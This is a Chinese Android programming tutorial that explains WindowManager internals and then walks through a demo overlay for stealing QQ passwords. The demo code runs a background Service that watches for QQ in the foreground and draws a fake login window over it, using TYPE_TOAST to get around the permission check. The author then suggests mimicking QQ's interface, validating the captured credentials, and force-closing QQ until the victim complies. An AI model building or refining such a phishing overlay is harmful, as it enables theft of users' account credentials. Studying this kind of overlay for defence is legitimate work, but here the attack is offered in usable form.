Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> android WindowManager解析與騙取QQ密碼案例分析

android WindowManager解析與騙取QQ密碼案例分析

編輯:關於Android編程

  最近在網上看見一個人在烏雲上提了一個漏洞,應用可以開啟一個後台Service,檢測當前頂部應用,如果為QQ或相關應用,就彈出一個自定義window用來誘騙用戶輸入賬號密碼,挺感興趣的,總結相關知識寫了一個demo,界面如下(界面粗糙,應該沒人會上當吧,意思到了就行哈=, =):
            這裡寫圖片描述
                   

Window&&WindowManager介紹

  分析demo之前,先要整理總結一下相關的知識。先看看Window類,Window是一個抽象類,位於代碼樹frameworks\u0008asecorejavaandroidviewWindowjava.Java文件。連同注釋,這個文件總共一千多行,它概括了Android窗口的基本屬性和基本功能。唯一實現了這個抽象類的是PhoneWindow,實例化PhoneWindow需要一個窗口,只需要通過WindowManager即可完成,Window類的具體實現位於WindowManagerService中,WindowManager和WindowManagerService的交互是一個IPC過程。Android中的所有視圖都是通過Window來呈現的,不管是Activity,Dialog還是Toast,他們的視圖實際上都是附加在Window上的,因此Window實際上是View的直接管理者,點擊事件也是由Window傳遞給view的。WindowManager.LayoutParams.type參數表示window的類型,共有三種類型,分別是應用Window,子Window和系統Window。應用Window對應著一個Activity,類似Dialog之類的子Window不能單獨存在,他需要附屬在應用Window上才可以,系統Window則不需要,比如Toast之類,可以直接顯示。每個Window都有對應的z-orderd,層級大的window會覆蓋在層級小的window之上,應用window的層級范圍是1~99,子window的范圍是1000~1999,系統window的范圍是2000~2999,這些層級范圍都對應著相關的type,type的相關取值:官網鏈接和中文資料。WindowManager.LayoutParams.flags參數表示window的屬性,默認為none,flags的相關取值:官方鏈接,還有其他的LayoutParams變量名稱和取值可以參考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 兩篇譯文博客,很詳細。
  再詳細分析一下WindowManager,WindowManager主要用來管理窗口的一些狀態、屬性、view增加、刪除、更新、窗口順序、消息收集和處理等。通過代碼Context.getSystemService(Context.WINDOW_SERVICE)可以獲得WindowManager的實例。WindowManager所提供的功能很簡單,常用的只有三個方法,即添加View、更新View和刪除View,這三個方法定義在ViewManager中,而WindowManager繼承了ViewManager,

addView(); updateViewLayout();removeView();   這些函數是用來修改Window的,它的真正實現是WindowManagerImpl類,WindowManagerImpl類並沒有直接實現Window的三大操作,而是全部交給了WindowManagerGlobal來處理,WindowManagerGlobal以工廠的形式向外提供自己的實例,在WindowManagerGlobal中有如下一段代碼:private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()。WindowManagerImpl這種工作模式是典型的橋接模式,將所有的操作全部委托給WindowManagerGlobal來實現。
  View是Android中視圖的呈現方式,但是View不能單獨存在,他必須要附著在Window這個抽象的概念上面,每一個Window都對應著一個View和一個ViewRootImpl,Window和View通過ViewRootImpl來建立聯系,因此有視圖的地方就有Window,比如常見的Activity,Dialog,Toast等。
  對於每個activity只有一個decorView也就是ViewRoot,window是通過下面方法獲取的
  Window mWindow = PolicyManager.makeNewWindow(this);
創建完Window之後,Activity會為該Window設置回調,Window接收到外界狀態改變時就會回調到Activity中。在activity中會調用setContentView()函數,它是調用 window.setContentView()完成的,而Window的具體實現是PhoneWindow,所以最終的具體操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步會檢測DecorView是否存在,如果不存在,就會調用generateDecor函數直接創建一個DecorView;第二步就是將Activity的視圖添加到DecorView的mContentParent中;第三步是回調Activity中的onContentChanged方法通知Activity視圖已經發生改變。這些步驟完成之後,DecorView還沒有被WindowManager正式添加到Window中,最後調用Activity的onResume方法中的makeVisible方法才能真正地完成添加和現實過程,Activity的視圖才能被用戶看到。
  Dialog的Window的創建過程和Activity類似,第一步也是用過PolicyManager.makeNewWindow方法來創建一個Window,不過這裡傳入的context必須要為activity的context;第二步也是通過setContentView函數去設置dialog的布局視圖;第三步調用show方法,通過WindowManager將DecorView添加到Window中顯示出來。
  Toast和Dialog不同,它稍微復雜一點,首先Toast也是基於Window來實現的,但是由於Toast具有定時取消的這一個功能,所以系統采用了Handler。在Toast的內部有兩類IPC過程,第一類是Toast訪問NotificationManagerService,第二類是NotificationManagerService回調Toast裡的TN接口。在Toast類中,最重要的用於顯示該toast的show方法調用了service.enqueueToast(pkg, tn, mDuration);也就是說系統為我們維持了一個toast隊列,這也是為什麼兩個toast不會同時顯示的原因,該方法將一個toast入隊,顯示則由 系統維持顯示的時機。

 

private static INotificationManager sService;
static private INotificationManager getService() {
    if (sService != null) {
        return sService;
    }
    sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
    return sService;
}

該服務sService就是系統用於維護toast的服務。最後NMS會通過IPC調用Toast類內部的一個靜態私有類TN,該類是toast的主要實現,該類完成了toast視圖的創建,顯示和隱藏。

騙取QQ密碼實例

  有了上面的基礎之後,這個例子其實就非常簡單了。
  第一步編寫一個Service並且在Service中彈出一個自定義的Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
    @Override
    public void backCallback() {
        if (v!=null && v.isAttachedToWindow())
            L.e("remove view ");
            windowManager.removeViewImmediate(v);
    }
});

btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        if (isChecked) {
            et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
        } else {
            et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
        }
        et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                0 : et_pwd.getText().length());
    }
});

//useless
//        v.setOnKeyListener(new View.OnKeyListener() {
//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {
//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {
//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });


//點擊外部消失
v.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View view, MotionEvent event) {
        Rect temp = new Rect();
        view.getGlobalVisibleRect(temp);
        L.e("remove view ");
        if (temp.contains((int)(event.getX()), (int)(event.getY()))){
            windowManager.removeViewImmediate(v);
            return true;
        }
        return false;
    }
});

btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

  這裡有幾點需要說明一下,第一個是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以繞過權限的,這個是在知乎上看見有人說的一個漏洞,哈哈;第二個是因為有Edittext,所以softInputMode需要設置為SOFT_INPUT_ADJUST_PAN,要不然軟鍵盤會覆蓋Window;第三個是返回鍵的監聽,setOnKeyListener是不好用的,最後只能復寫view類的dispatchKeyEvent函數來實現按鍵監聽了;第四個是點擊外部消失的操作,看代碼就會明白了。
  實現了彈出框的彈出之後,接著就要設置一個實時監聽,開啟一個線程,每隔幾秒去監聽用戶正在操作的應用是否是QQ,這個就簡單多了,使用ActivityManager就可以了:

new Thread(new Runnable() {
    @Override
    public void run() {
        while (isRunning){
            L.e("running");
            try {
                Thread.sleep(3000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            ActivityManager activityManager = (ActivityManager)
                    getSystemService(Context.ACTIVITY_SERVICE);
            List list =
                    activityManager.getRunningAppProcesses();
            if (list.get(0).processName.equals("com.tencent.mobileqq")){
                myHandler.sendEmptyMessage(1);
            }
        }

  }
}).start();

  這樣效果就差不多了,最後在Activity中啟動該Service即可,當然這個還有很多改進的余地:
   1. 修改UI,使之更加的和QQ風格相似。
  2. 用戶輸入完賬號和密碼之後,可以addView一個loadingDialog,接著調用相關接口去驗證用戶名和密碼的正確性,不正確提示用戶重新輸入。
   3. 如果用戶不輸入賬號和密碼,直接調用killBackgrondProcess函數(需要權限),強硬的把QQ關閉,直到用戶輸入賬號和密碼。
  當然了,這只是學習知識而已,大家開心就好啊  ̄? ̄,最後順帶吐槽一下吧,這幾天接到阿裡的面試電話,叫我去面試,可是到面試時間也沒給答復,最後沒下文了,准備和期待好幾天了,搞得最近心情很差,有一句話,汝虐我千百遍,我待汝如初戀~。

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved